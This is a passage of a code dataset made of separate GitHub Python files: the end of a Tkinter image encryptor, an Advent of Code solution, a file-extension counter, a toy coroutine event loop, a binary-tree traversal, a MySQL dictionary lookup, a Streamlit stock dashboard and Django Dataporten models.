self.spath.pack(pady=2)\n self.show_simg_btn = Button(master=self.leftFrame, text=\"Show image\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG, state=DISABLED)\n self.show_simg_btn.pack(pady=2)\n\n self.rlabel = Label(master=self.rightFrame,text=\"Resultant Image\",font=(dfont,14,'bold'),width=30,height=1,background=BACKGROUND,foreground=WHITE)\n self.rlabel.pack()\n self.rimage_label = Label(master=self.rightFrame, text=\"Encrypted/Decrypted image will appear here\", width=self.disp_img_width, height=self.disp_img_height, background=SECONDARY_BG, foreground=WHITE)\n self.rimage_label.pack()\n self.rpath = Entry(master=self.rightFrame, background=BACKGROUND,textvariable=self.rp_var, foreground=WHITE,font=(dfont, 8),state='readonly',readonlybackground=BACKGROUND,width=90,\n selectbackground=SELECTION_COLOR,borderwidth=0,justify=CENTER)\n self.rpath.pack(pady=2)\n self.show_rimg_btn = Button(master=self.rightFrame, text=\"Show image\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG, state=DISABLED)\n self.show_rimg_btn.pack(pady=2)\n\n # Bottom Frame and widgets\n self.sel_image_button = Button(master=self.bottomFrame, text=\"Select image\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.sel_image_button.grid(row=0, column=0, padx=5, pady=5)\n\n self.rng_button = Button(master=self.bottomFrame, text=\"Use randomly generated key\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.rng_button.grid(row=0,column=1,padx=5,pady=5,sticky=NW)\n\n self.custom_key_btn = Button(master=self.bottomFrame, text=\"Use custom key\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.custom_key_btn.grid(row=0,column=1,padx=5,pady=5,sticky=NE)\n\n self.ekey_label = Label(master=self.bottomFrame,background=BACKGROUND,foreground=WHITE,text=\"Encryption key : \",font=(dfont,10,'bold'))\n self.ekey_label.grid(row=1,column=0,padx=5,pady=5)\n self.ekey = Entry(master=self.bottomFrame,background=SECONDARY_BG,show=utils.bullet_char,disabledbackground=BACKGROUND,disabledforeground=WHITE,foreground=WHITE,width=80,insertbackground=WHITE,\n readonlybackground=BACKGROUND,selectbackground=SELECTION_BLACK)\n self.ekey.grid(row=1,column=1,padx=5,pady=5,ipady=2)\n\n self.show_hide_btn = Button(master=self.bottomFrame, text=\"Show\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.show_hide_btn.grid(row=1,column=2,padx=5,pady=5)\n\n self.copy_key_btn = Button(master=self.bottomFrame, text=\"copy key to clipboard\", background=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.copy_key_btn.grid(row=2,column=0,padx=5,pady=5)\n\n self.enc_button = Button(master=self.bottomFrame,text=\"Encrypt image\",background=SECONDARY_BG,foreground=WHITE,activeforeground=WHITE,activebackground=SECONDARY_BG)\n self.enc_button.grid(row=2,column=1,padx=5,pady=5,sticky=W)\n\n self.dec_button = Button(master=self.bottomFrame, text=\"Decrypt image\", background=SECONDARY_BG,foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.dec_button.grid(row=2, column=1, padx=5, pady=5, sticky=E)\n\n self.clr_fields_btn = Button(master=self.bottomFrame, text=\"Clear Fields\", background=SECONDARY_BG,foreground=WHITE, activeforeground=WHITE, activebackground=SECONDARY_BG)\n self.clr_fields_btn.grid(row=3,column=0,pady=5,padx=5)\n\n self.save_rbtn = Button(master=self.bottomFrame, text=\"Save resultant image\", background=SECONDARY_BG, activebackground=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE)\n self.save_rbtn.grid(row=3, column=1, pady=5, padx=5, sticky=E)\n\n self.save_sbtn = Button(master=self.bottomFrame, text=\"Save selected image\", background=SECONDARY_BG, activebackground=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE)\n self.save_sbtn.grid(row=3,column=1,pady=5,padx=5,sticky=N)\n\n self.sel_rimg_btn = Button(master=self.bottomFrame, text=\"Select resultant image\", background=SECONDARY_BG, activebackground=SECONDARY_BG, foreground=WHITE, activeforeground=WHITE)\n self.sel_rimg_btn.grid(row=3, column=1, padx=5, pady=5, sticky=W)\n\n # Assigning commands\n self.sel_image_button['command'] = self.open_image\n self.enc_button['command'] = self.encrypt_image\n self.dec_button['command'] = self.decrypt_image\n self.save_rbtn['command'] = self.save_rimg\n self.save_sbtn['command'] = self.save_simg\n self.sel_rimg_btn['command'] = self.sel_res_img\n self.show_hide_btn['command'] = self.show_hide\n self.rng_button['command'] = self.rng_key\n self.custom_key_btn['command'] = self.cstm_key\n self.copy_key_btn['command'] = self.copy_key\n self.clr_fields_btn['command'] = lambda: self.clear_fields(ask=True)\n self.show_simg_btn['command'] = self.show_simg\n self.show_rimg_btn['command'] = self.show_rimg\n\n # misc\n self.sel_img = None\n self.res_img = None\n\n # destruction protocol\n self.protocol(\"WM_DELETE_WINDOW\", self.exit_protocol)\n\n\n @property\n def recent_op(self):\n return self._r_op\n\n @property\n def sel_img(self):\n return self._sel_img\n\n @property\n def res_img(self):\n return self._res_img\n\n @sel_img.setter\n def sel_img(self,img):\n self._sel_img = img\n if isinstance(img,Image.Image):\n self.show_simg_btn.configure(state=NORMAL)\n self.enc_button.configure(state=NORMAL)\n self.dec_button.configure(state=NORMAL)\n self.save_sbtn.configure(state=NORMAL)\n else:\n self.show_simg_btn.configure(state=DISABLED)\n self.enc_button.configure(state=DISABLED)\n self.dec_button.configure(state=DISABLED)\n self.save_sbtn.configure(state=DISABLED)\n\n @res_img.setter\n def res_img(self,img):\n self._res_img = img\n if isinstance(img,Image.Image):\n self.show_rimg_btn.configure(state=NORMAL)\n self.sel_rimg_btn.configure(state=NORMAL)\n self.save_rbtn.configure(state=NORMAL)\n else:\n self.show_rimg_btn.configure(state=DISABLED)\n self.sel_rimg_btn.configure(state=DISABLED)\n self.save_rbtn.configure(state=DISABLED)\n\n @recent_op.setter\n def recent_op(self, value:str):\n \"\"\"\n sets the button and labels as recent operation performed on image\n :param value:\n :return: str : recent operation performed\n \"\"\"\n value = value.lower()\n self.save_rbtn['text'] = self.save_rbtn['text'].replace(self.recent_op, value)\n self.sel_rimg_btn['text'] = self.sel_rimg_btn['text'].replace(self.recent_op,value)\n self._r_op = value\n\n def clear_fields(self,ask=False):\n \"\"\"\n Clears image labels and resets the text labels and entry widget and resets img variables to default,\n\n and deletes the temp images which are located at self.temp_path1 and self.temp_path2\n\n :return: None\n \"\"\"\n if ask:\n ask = not msgbox.askyesno(title=\"Confirmation\",message=\"Are you sure you want to clear all fields?\")\n if not ask:\n self.simage_label.configure(image='',width=85,height=25)\n self.simage_label.photo = None\n self.rimage_label.configure(image='', width=85, height=25)\n self.rimage_label.photo = None\n self.slabel['text'] = \"Selected Image\"\n self.rlabel['text'] = \"Resultant Image\"\n self.recent_op = \"resultant\"\n self.sp_var.set(\"\")\n self.rp_var.set(\"\")\n self.sel_img = None\n self.res_img = None\n self.ekey.configure(state=NORMAL)\n self.ekey.delete(0, END)\n self.show_hide_btn['text'] = \"Hide\"\n self.show_hide()\n if os.path.exists(self.selimg_temp_path):\n os.remove(self.selimg_temp_path)\n if os.path.exists(self.resimg_temp_path):\n os.remove(self.resimg_temp_path)\n\n def img_resizer(self,img) -> Image.Image:\n \"\"\"\n Resizes the given image such that image should be able to fit in app's labels\n\n :param img: PIL.Image.Image\n :return: PIL.Image.Image - resized image\n \"\"\"\n w, h = img.size\n max_pix = int()\n max_dim = max(w,h)\n min_dim = min(w,h)\n ratio = max_dim / min_dim\n if ratio < 1.1 :\n max_pix = self.vertical_max_pix\n else:\n if max_dim==h:\n max_pix = self.vertical_max_pix\n else:\n max_pix = self.horizontal_max_pix\n return imgxor.resizer(img,max_pix)\n\n def open_image(self):\n \"\"\"\n Opens and displays image\n :return:\n \"\"\"\n if self.res_img:\n if msgbox.askyesno(title=\"Warning\",message=\"Are you sure you want to clear the fields and select new image?\"):\n pass\n else:\n return\n\n file = fd.askopenfilename()\n if file:\n try:\n img = Image.open(file)\n # if image is opened successfully, only then we clear fields\n self.clear_fields()\n img = img.convert(mode=\"RGB\") if img.mode != \"RGB\" else img\n except PIL.UnidentifiedImageError:\n return msgbox.showerror(title=\"Error\", message=\"Selected file is not an image file.\")\n else:\n w,h = img.size\n resized = self.img_resizer(img)\n self.sel_img = img\n self.slabel['text'] = f\"Selected Image - ({w}x{h})\"\n tkimg = ImageTk.PhotoImage(resized)\n self.simage_label.configure(image=tkimg,width=resized.width,height=resized.height)\n self.simage_label.photo = tkimg\n self.sp_var.set(file)\n\n def encrypt_image(self):\n \"\"\"\n Encrypts the selected image\n\n :return:\n \"\"\"\n key = self.ekey.get()\n if not key:\n return msgbox.showinfo(title=\"Info\",message=\"Key cannot be empty, please enter the key\")\n self.rlabel['text'] = \"Please wait...\"\n self.update_idletasks()\n eimg = imgxor.encrypt_image(self.sel_img,key)\n w,h = eimg.size\n self.res_img = eimg\n resized = self.img_resizer(eimg)\n tkimg = ImageTk.PhotoImage(resized)\n self.rimage_label.configure(image=tkimg,width=resized.width,height=resized.height)\n self.rimage_label.photo = tkimg\n self.recent_op = \"encrypted\"\n self.rlabel['text'] = f\"Encrypted Image - ({w}x{h})\"\n self.rp_var.set(\"\")\n self.res_img.save(self.resimg_temp_path)\n\n def decrypt_image(self):\n \"\"\"\n Decryptes the selected image\n\n :return:\n \"\"\"\n key = self.ekey.get()\n if not key:\n return msgbox.showinfo(title=\"Info\", message=\"Key cannot be empty, please enter the key\")\n self.rlabel['text'] = \"Please wait...\"\n self.update_idletasks()\n dec_img = imgxor.decrypt_image(self.sel_img,key)\n w,h = dec_img.size\n self.res_img = dec_img\n resized = self.img_resizer(dec_img)\n tkimg = ImageTk.PhotoImage(resized)\n self.rimage_label.configure(image=tkimg,width=resized.width,height=resized.height)\n self.rimage_label.photo = tkimg\n self.recent_op = \"decrypted\"\n self.rlabel['text'] = f\"Decrypted Image - ({w}x{h})\"\n self.rp_var.set(\"\")\n self.res_img.save(self.resimg_temp_path)\n\n def sel_res_img(self):\n \"\"\"\n Selects the resultant image to perform operations\n\n :return:\n \"\"\"\n if self.res_img:\n pass\n else:\n return msgbox.showerror(title=\"Error\",message=f\"Select a file and encrypt/decrypt to be able to select the resultant image\")\n\n if msgbox.askyesno(title=\"Confirmation\",message=f\"Are you sure you want to select {self.recent_op} image for operations?\"):\n self.sel_img = self.res_img\n w,h = self.sel_img.size\n resized = self.img_resizer(self.sel_img)\n tkimg = ImageTk.PhotoImage(resized)\n self.simage_label.configure(image=tkimg,width=resized.width,height=resized.height)\n self.simage_label.photo = tkimg\n self.rimage_label.configure(image='', width=85, height=25)\n self.rimage_label.photo = None\n self.slabel['text'] = f\"Selected Image - ({w}x{h})\"\n self.rlabel['text'] = f\"Resultant Image\"\n self.recent_op = \"resultant\"\n rpath = self.rp_var.get()\n self.rp_var.set(\"\")\n if rpath:\n self.sp_var.set(rpath)\n else:\n self.res_img.save(self.selimg_temp_path)\n self.sp_var.set(\"\")\n self.res_img = None\n if os.path.exists(self.resimg_temp_path):\n os.remove(self.resimg_temp_path)\n\n def save_rimg(self):\n \"\"\"\n Saves the resultant image file\n\n :return:\n \"\"\"\n file = fd.asksaveasfilename()\n if file:\n name_list = file.split(\".\")\n name_list.append('png') if name_list[-1] != 'png' else None\n file = \".\".join(name_list)\n self.res_img.save(file)\n self.rp_var.set(file)\n if os.path.exists(self.resimg_temp_path):\n os.remove(self.resimg_temp_path)\n\n def save_simg(self):\n \"\"\"\n Saves the selected image file\n\n :return:\n \"\"\"\n if self.sp_var.get():\n return msgbox.showinfo(title=\"Info\",message=f\"Selected image is already saved at {self.sp_var.get()}\")\n else:\n file = fd.asksaveasfilename()\n if file:\n name_list = file.split(\".\")\n name_list.append('png') if name_list[-1] != 'png' else None\n file = \".\".join(name_list)\n self.sel_img.save(file)\n self.sp_var.set(file)\n if os.path.exists(self.selimg_temp_path):\n os.remove(self.selimg_temp_path)\n\n def copy_key(self):\n \"\"\"\n Copies key to the clipboard\n\n :return:\n \"\"\"\n key = self.ekey.get()\n if key:\n self.clipboard_clear()\n self.clipboard_append(key)\n\n def rng_key(self):\n \"\"\"\n sets randomly generated key as value in key entry and disables it\n\n :return:\n \"\"\"\n self.ekey.configure(state=NORMAL)\n self.ekey.delete(0,END)\n random_key = utils.get_compact_key(str(utils.random_KeyGen(self.key_length)))\n self.ekey.insert(0,random_key)\n self.ekey.configure(state='readonly')\n\n def show_simg(self):\n \"\"\"\n Displays the selected image using webbrowser.open() method. which internally uses the default image viewer to open the image\n\n :return:\n \"\"\"\n path = self.selimg_temp_path\n if self.sel_img:\n if os.path.exists(path):\n pass\n else:\n self.sel_img.save(path)\n display_img(path)\n\n def show_rimg(self):\n \"\"\"\n Displays the resultant image using webbrowser.open() method. which internally uses the default image viewer to open the image\n\n :return:\n \"\"\"\n path = self.resimg_temp_path\n if self.sel_img:\n if os.path.exists(path):\n pass\n else:\n self.res_img.save(path)\n display_img(path)\n\n def show_hide(self):\n \"\"\"\n Command for button which is used to show/hide the key entry text\n :return:\n \"\"\"\n if self.show_hide_btn['text'] == \"Show\":\n self.ekey.config(show=\"\")\n self.ekey.update()\n self.show_hide_btn['text'] = \"Hide\"\n else:\n self.ekey.config(show=utils.bullet_char)\n self.ekey.update()\n self.show_hide_btn['text'] = \"Show\"\n\n def cstm_key(self):\n \"\"\"\n enables key entry and clears the field\n\n :return:\n \"\"\"\n if self.ekey['state'] == 'readonly':\n self.ekey.configure(state=NORMAL)\n self.ekey.delete(0,END)\n\n def exit_protocol(self):\n \"\"\"\n Protocol function to run before closing the app\n\n :return: None\n \"\"\"\n self.clear_fields()\n self.destroy()","repo_name":"UraniumX92/Image-Encryptor","sub_path":"encryptor.py","file_name":"encryptor.py","file_ext":"py","file_size_in_byte":19416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18671524418","text":"#!/usr/bin/python3\n\nimport re\n\n\nif __name__ == \"__main__\":\n cubes = set()\n with open('22.txt') as input:\n for line in input.readlines():\n match = re.match(r\"(on|off) x=(-?\\d+)\\.\\.(-?\\d+),y=(-?\\d+)\\.\\.(-?\\d+),z=(-?\\d+)\\.\\.(-?\\d+)\", line)\n if match:\n (on_off, xmin, xmax, ymin, ymax, zmin, zmax) = match.groups()\n (xmin, xmax, ymin, ymax, zmin, zmax) = [int(i) for i in (xmin, xmax, ymin, ymax, zmin, zmax)]\n if any([amax < -50 for amax in (xmax, ymax, zmax)]):\n continue\n if any([amin > 50 for amin in (xmin, ymin, zmin)]):\n continue\n xmin = max(-50, xmin)\n ymin = max(-50, ymin)\n zmin = max(-50, zmin)\n\n xmax = min(50, xmax)\n ymax = min(50, ymax)\n zmax = min(50, zmax)\n\n if on_off == \"on\":\n print(xmin, xmax, ymin, ymax, zmin, zmax)\n for x in range(xmin, xmax + 1):\n for y in range(ymin, ymax + 1):\n for z in range(zmin, zmax + 1):\n cubes.add((x, y, z))\n else:\n for x in range(xmin, xmax + 1):\n for y in range(ymin, ymax + 1):\n for z in range(zmin, zmax + 1):\n cubes.discard((x, y, z))\n print(len(cubes))\n","repo_name":"rryles/Advent-of-Code","sub_path":"2021/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"30866865374","text":"__author__ = 'yonatan'\n\nimport sys\nimport pathlib\nfrom collections import defaultdict\n\n\ndef create_file_type():\n return {\n 'count': 0,\n 'size': 0,\n }\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n print(\"displays number of files and total size of files per extension in the specified path.\")\n exit()\n\n path = sys.argv[1]\n files_data = defaultdict(create_file_type)\n items_in_folder = pathlib.Path(path).iterdir()\n\n for file in items_in_folder:\n if file.is_dir():\n continue\n else:\n sanitized_suffix = file.suffix if file.suffix else \".\" # if there is no suffix - set it to \".\"\n files_data[sanitized_suffix]['count'] += 1\n files_data[sanitized_suffix]['size'] += file.stat().st_size\n\n suffixes = list(files_data.keys())\n suffixes.sort()\n\n for suffix in suffixes:\n print(\" \".join(\n [suffix[1:] if suffix != \".\" else \".\", # Ignore the dot ... unless it's just a dot\n str(files_data[suffix]['count']),\n str(files_data[suffix]['size'])]))\n","repo_name":"oryonatan/h02-python-file-info_my","sub_path":"ext_info.py","file_name":"ext_info.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73406369330","text":"from collections import defaultdict\nimport subprocess # spawn new processes, contect their input/output/error pipes, and obtain their return codes\nimport time\n\n\ndef sleep(n):\n yield n\n\n\ndef runner(argv, timeout=0):\n argv = [str(x) for x in argv]\n\n proc = subprocess.Popen(argv)\n t0 = time.time()\n\n while True:\n # polling - asking if its done\n returncode = proc.poll()\n if returncode is None:\n if timeout > 0 and time.time() - t0 >= timeout:\n proc.kill()\n raise subprocess.TimeoutExpired(cmd=' '.join(argv), timeout=timeout)\n else:\n return returncode\n # process is still running, and no timeout expired\n # not blocking, this is a generator function\n # yield from is delegating work to another generator\n # yield that value that is yielded from another generator\n yield from sleep(1)\n\n\nclass Task:\n # class property\n instances_created = 0\n\n def __init__(self, coroutine):\n self.coroutine = coroutine\n self.id = Task.instances_created\n Task.instances_created += 1\n\n self.callback = None\n\n self.result = None\n self.exception = None\n\n def add_done_callback(self, fn):\n self.callback = fn\n\n\nclass Loop:\n # synchronous code - you wait for results\n # async - throw code out there, react when it returns\n def __init__(self):\n self.tasks = []\n # everytime you put in a key it adds in a list\n self.ready_at = defaultdict(list)\n self.current_iteration = 0\n\n def create_task(self, coroutine):\n task = Task(coroutine)\n if self.current_iteration == 0:\n self.schedule(task, iteration=self.current_iteration)\n else:\n self.schedule(task, iteration=self.current_iteration + 1)\n return task\n\n def schedule(self, task, iteration=0):\n # don't want to schedule things in the past\n if iteration < self.current_iteration:\n iteration = self.current_iteration\n\n self.ready_at[iteration].append(task)\n if task not in self.tasks:\n self.tasks.append(task)\n\n def remove(self, task):\n self.tasks.remove(task)\n\n def run(self):\n # Event loop\n while self.tasks:\n for task in self.ready_at[self.current_iteration]:\n try:\n # run after this many iterations (0 run at next iteration)\n run_after = next(task.coroutine)\n except StopIteration as e:\n task.result = e.value\n if task.callback is not None:\n task.callback(task)\n self.remove(task)\n except Exception as e:\n task.exception = e\n if task.callback is not None:\n task.callback(task)\n self.remove(task)\n else:\n run_next = (run_after * 100) + 1 + self.current_iteration\n self.schedule(task, iteration=run_next)\n self.current_iteration += 1\n time.sleep(0.01)\n\n\ndef my_callback(task):\n if task.exception is not None:\n print(f'task {task.id} raised {task.exception}')\n else:\n print(f'task {task.id} done, result={task.result}')\n\n\nif __name__ == \"__main__\":\n loop = Loop()\n loop.create_task(runner(['sleep', 10], timeout=5))\n loop.create_task(runner(['sleep', 10], timeout=0))\n loop.create_task(runner(['sleep', 10], timeout=0))\n loop.create_task(runner(['sleep', 10], timeout=0))\n loop.create_task(runner(['sleep', 10], timeout=0))\n\n for task in loop.tasks:\n task.add_done_callback(my_callback)\n\n loop.run()\n","repo_name":"David-Loughnane/europython2017","sub_path":"asyncio/pipe.py","file_name":"pipe.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2034302126","text":"\"\"\"\nBinary trees are formally defined in Chapter 9. In particulaar, each node in a\nbinary tree has a depth, which is its distance from the root.\n\nGiven a binary tree, return an array consisting of the keys at the same level.\nKeys should appear in the order of the corresponding nodes' depths, breaking\nties from left to right. For example, you should return\n<<314>,<6,6>,<271,561,2,271>,<28,0,3,1,28>,<17,401,257>,<641>> for the binary\ntree in Figure 9.1 on Page 112.\n\nHint: First think about solving this problem with a pair of queues.\n\n\"\"\"\n\ndef binary_tree_depth_order(tree):\n \"\"\"\n Space complexity: O(m)\n Time complexity: O(n)\n\n \"\"\"\n\n result = []\n if not tree:\n return result\n\n curr_depth_nodes = [tree]\n while curr_depth_nodes:\n result.append([curr.data for curr in curr_depth_nodes])\n curr_depth_nodes = [\n child\n for curr in curr_depth_nodes for child in (curr.left, curr.right)\n if child\n ]\n return result\n","repo_name":"awong05/epi","sub_path":"compute-binary-tree-nodes-in-order-of-increasing-depth.py","file_name":"compute-binary-tree-nodes-in-order-of-increasing-depth.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"41595682982","text":"import mysql.connector\nfrom difflib import get_close_matches\n\ncon=mysql.connector.connect(\n user='ardit700_student',\n password='ardit700_student',\n host='108.167.140.122',\n database='ardit700_pm1database'\n)\n# word=input(\"WORD: \")\ncursor=con.cursor()\n# fetching all the words and meanings inside list\nquerystring=(f\"select * from Dictionary \")\n\ncursor.execute(querystring)\nresults=cursor.fetchall()\n\nword=input(\"WORD: \")\n\nfor d in results:\n if word in d:\n querystring=(f\"select * from Dictionary WHERE Expression = '{word}' \")\n cursor.execute(querystring) \n resul_t=cursor.fetchall()\n for re in resul_t:\n print(re[1])\n exit(0)\n\n# creating list of all the keys\nll=[] \n\nfor d in results:\n ll.append(d[0])\n\nif len(get_close_matches(word,ll))>0:\n\n yesorno=input(f\"'{get_close_matches(word,ll)[0]}' intead of {word}? if yes press 'Y' else 'N: \")\n if yesorno =='y' or yesorno == 'Y':\n querystring=(f\"select * from Dictionary WHERE Expression = '{get_close_matches(word,ll)[0]}' \")\n cursor.execute(querystring) \n resul__t=cursor.fetchall()\n for res in resul__t:\n print(res[1])\n \n\n\n\n \n \n\n","repo_name":"amit-shahwal/python","sub_path":"dic_sql/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25548700323","text":"import streamlit as st\nfrom PIL import Image\nimport pandas as pd\n\nimport yfinance as yf\nimport matplotlib.pyplot as plt\nimport os\n\nimport datetime\nfrom pandas_datareader import data as pdr\n\nimport pymongo\nfrom pymongo import MongoClient\n\n#adding a title and an image\nst.write(\"\"\"\n# Stock Market Application\nStock Price prediction....\n\"\"\")\n\nimage = Image.open(\"C:/Users/utilisateur/Desktop/project_trading/stock.jpg\")\nst.image(image, use_column_width=True)\n\n#sidebar header\nst.sidebar.header('User Imput')\n\n#funtion to get the users input\ndef get_input():\n start_date = st.sidebar.text_input(\"Start Date\", \"2020-08-01\")\n end_date = st.sidebar.text_input(\"End Date\", \"2020-09-04\")\n stock_symbol = st.sidebar.text_input(\"Stock Symbol\", \"GOOG\")\n return start_date, end_date, stock_symbol\n\n#function to get the company name\ndef get_comp_name(symbol):\n if symbol == \"AMZN\":\n return 'Amazon'\n elif symbol == \"AAPL\":\n return 'Appel'\n elif symbol == \"GOOG\":\n return 'Alphabet'\n elif symbol == \"TSLA\":\n return \"Tesla\"\n elif symbol == \"MSFT\":\n return \"Microsoft\"\n elif symbol == \"FB\":\n return \"FaceBook\"\n else: \n \"None\"\n#function to get the companies time frame\ndef get_data(symbol, start, end):\n \n #load data\n if symbol.upper() == \"AMZN\":\n df = pd.read_csv('C:/Users/utilisateur/Desktop/project_trading/data/AMZN.csv')\n elif symbol.upper() == \"GOOG\":\n df = pd.read_csv('C:/Users/utilisateur/Desktop/project_trading/data/GOOG.csv')\n elif symbol.upper() == \"TSLA\":\n df = pd.read_csv('C:/Users/utilisateur/Desktop/project_trading/data/TSLA.csv')\n elif symbol.upper() == \"MSFT\":\n df = pd.read_csv('C:/Users/utilisateur/Desktop/project_trading/data/MSFT.csv')\n elif symbol.upper() == \"FB\":\n df = pd.read_csv('C:/Users/utilisateur/Desktop/project_trading/data/FB.csv') \n elif symbol.upper() == \"AAPL\":\n df = pd.read_csv('C:/Users/utilisateur/Desktop/project_trading/data/AAPL.csv')\n \n\n #get the date range\n start = pd.to_datetime(start)\n end = pd.to_datetime(end)\n\n #set start and end index\n start_row = 0\n end_row = 0\n\n #start the date from the top of the dataset\n for i in range(0, len(df)):\n if start <= pd.to_datetime(df['Date'][i]):\n start_row = i\n break\n \n #start from the bottom of the dataset\n for j in range(0, len(df)):\n if end >= pd.to_datetime(df['Date'][len(df)-1-j]):\n end_row = len(df) - 1 - j\n break\n\n #set index to the date\n df = df.set_index(pd.DatetimeIndex(df['Date'].values))\n \n return df.iloc[start_row: end_row +1, :]\n\n \n#get users input\nstart, end, symbol = get_input()\n#get date\ndf = get_data(symbol, start, end)\n#get the company name\ncompany_name = get_comp_name(symbol.upper())\n\n#dispaly the Adj Close price\nst.header(company_name+\" Adj Close Price\\n\")\nst.line_chart(df['Adj Close'])\n\n#dispaly the Volume\nst.header(company_name+\" Volume\\n\")\nst.line_chart(df['Volume'])\n\n#get statistics \n#st.header('Data Statistics')\n#st.write(df.describe())\n\n#get model\nst.header('Model LSTM')\nstart_sp = datetime.datetime(2010, 1, 1)\nend_sp = datetime.datetime(2020, 9, 24)\n\nyf.pdr_override() # <== that's all it takes :-)\nGOOD = pdr.get_data_yahoo('GOOG', start_sp, end_sp)\n \nGOOD.head()\n\n#using mongodb\nmyclient = MongoClient(\"mongodb://localhost:27017/\")\nmydb = myclient[\"Stocks\"]\nmycol = mydb[\"Tickers\"]\n\nmyclient = MongoClient(\"mongodb://localhost:27017/\")\nmydb = myclient[\"Stocks\"]\nmycol = mydb[\"Tickers\"]\n\n# Step 2: Insert Data into DB\n#GOOG.reset_index(inplace=True) # Reset Index\n#data_dict = GOOG.to_dict(\"records\") # Convert to dictionary\n#mycol.insert_one({\"Index\":\"GOOG\",\"data\":data_dict}) # inesrt into DB\n\n# Step 3: Get data from DB\n#st.sidebar.header('User Imput')\n\n#funtion to get the users input\n#def get_input():\n #data_from_db = mycol.find_one({\"symbol\":\"GOOG\"})\n #GOOG = pd.DataFrame(data_from_db[\"data\"])\n #GOOG.set_index(\"Date\",inplace=True)\n\n\n","repo_name":"rorrot/trading_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73531149168","text":"from collections import defaultdict\nfrom typing import DefaultDict, List, Type, Tuple, Dict\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.http import HttpRequest\nfrom django.utils.functional import cached_property\nfrom django.utils.module_loading import import_string\n\nfrom allauth.socialaccount.models import SocialToken\nfrom defaultlist import defaultlist\n\nfrom .api import usergroups\nfrom .parsers import (\n BaseGroup,\n Course,\n PARSERS,\n Semester,\n group_factory,\n)\n\nclass DataportenGroupManager:\n \"\"\"\n A manager for all the different types of groups which dataporten provides.\n It gives access to the following properties:\n - courses\n - active_courses\n - inactive_courses\n - generic_groups\n \"\"\"\n def __init__(self, token: str) -> None:\n # Fetch usergroups and insert into dictionary based on dataporten unique\n # id\n groups_json = usergroups(token)\n self.groups = {\n group.uid: group\n for group\n in group_factory(*groups_json)\n }\n\n # Make each group type NAME a direct property of the object itself,\n # each property containing a dictionary keyed on dataporten unique ids.\n for parser in PARSERS:\n setattr(self, parser.NAME, {})\n\n # Sort all groups into a dictionary keyed on the group type, uniquely\n # represented by the group type's NAME attribute.\n for uid, group in self.groups.items():\n getattr(self, group.NAME)[uid] = group\n\n self.courses = CourseManager(self.courses) # type: ignore\n\n\nclass CourseManager:\n def __init__(self, courses: Dict[str, Course]) -> None:\n self.all = {course.code: course for course in courses.values()}\n self.semesters_ago: List[Tuple[int, str]] = []\n now = Semester.now()\n\n for course in courses.values():\n ago = now - course.semester\n self.semesters_ago.append((ago, course.code,))\n\n @property\n def active(self) -> List[str]:\n return [code for ago, code in self.semesters_ago if ago <= 0]\n\n @property\n def finished(self) -> List[str]:\n return [code for ago, code in self.semesters_ago if ago > 0]\n\n def less_semesters_ago(self, than) -> List[str]:\n return [code for ago, code in self.semesters_ago if ago < than]\n\n\nclass DataportenUser(User):\n \"\"\"\n Adds a dataporten property to the user, which points to a\n DataportenGroupManager instance. This property is cached\n for the lifetime of the user instance, as the manager makes\n API requests to dataporten\n \"\"\"\n\n class Meta:\n proxy = True\n\n @cached_property\n def token(self) -> str:\n try:\n token_func_path = settings.DATAPORTEN_TOKEN_FUNCTION\n token_func = import_string(token_func_path)\n return token_func(self)\n except ModuleNotFoundError:\n raise ImproperlyConfigured(\n f'Could not import DATAPORTEN_TOKEN_FUNCTION with value '\n f'{token_func_path}',\n )\n except AttributeError:\n raise ImproperlyConfigured(\n 'You need to define DATAPORTEN_TOKEN_FUNCTION in your '\n 'settings.py',\n )\n\n\n @cached_property\n def dataporten(self):\n return DataportenGroupManager(self.token)\n\n @staticmethod\n def valid_request(request: HttpRequest) -> bool:\n if hasattr(request, 'user') and request.user.is_authenticated:\n return SocialToken.objects.filter(\n account__user=request.user,\n account__provider='dataporten',\n ).exists()\n else:\n return False\n","repo_name":"JakobGM/WikiLinks","sub_path":"dataporten/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"20"} +{"seq_id":"10435782668","text":"import json\nimport os\nimport numpy as np\nfrom urllib.request import urlopen\nimport bs4 as BeautifulSoup\nimport unidecode\nimport lyricsgenius\n\nwith open(\"secret.json\") as json_file:\n secret = json.load(json_file)\n\n\n#%% Get rappers\nhtml = 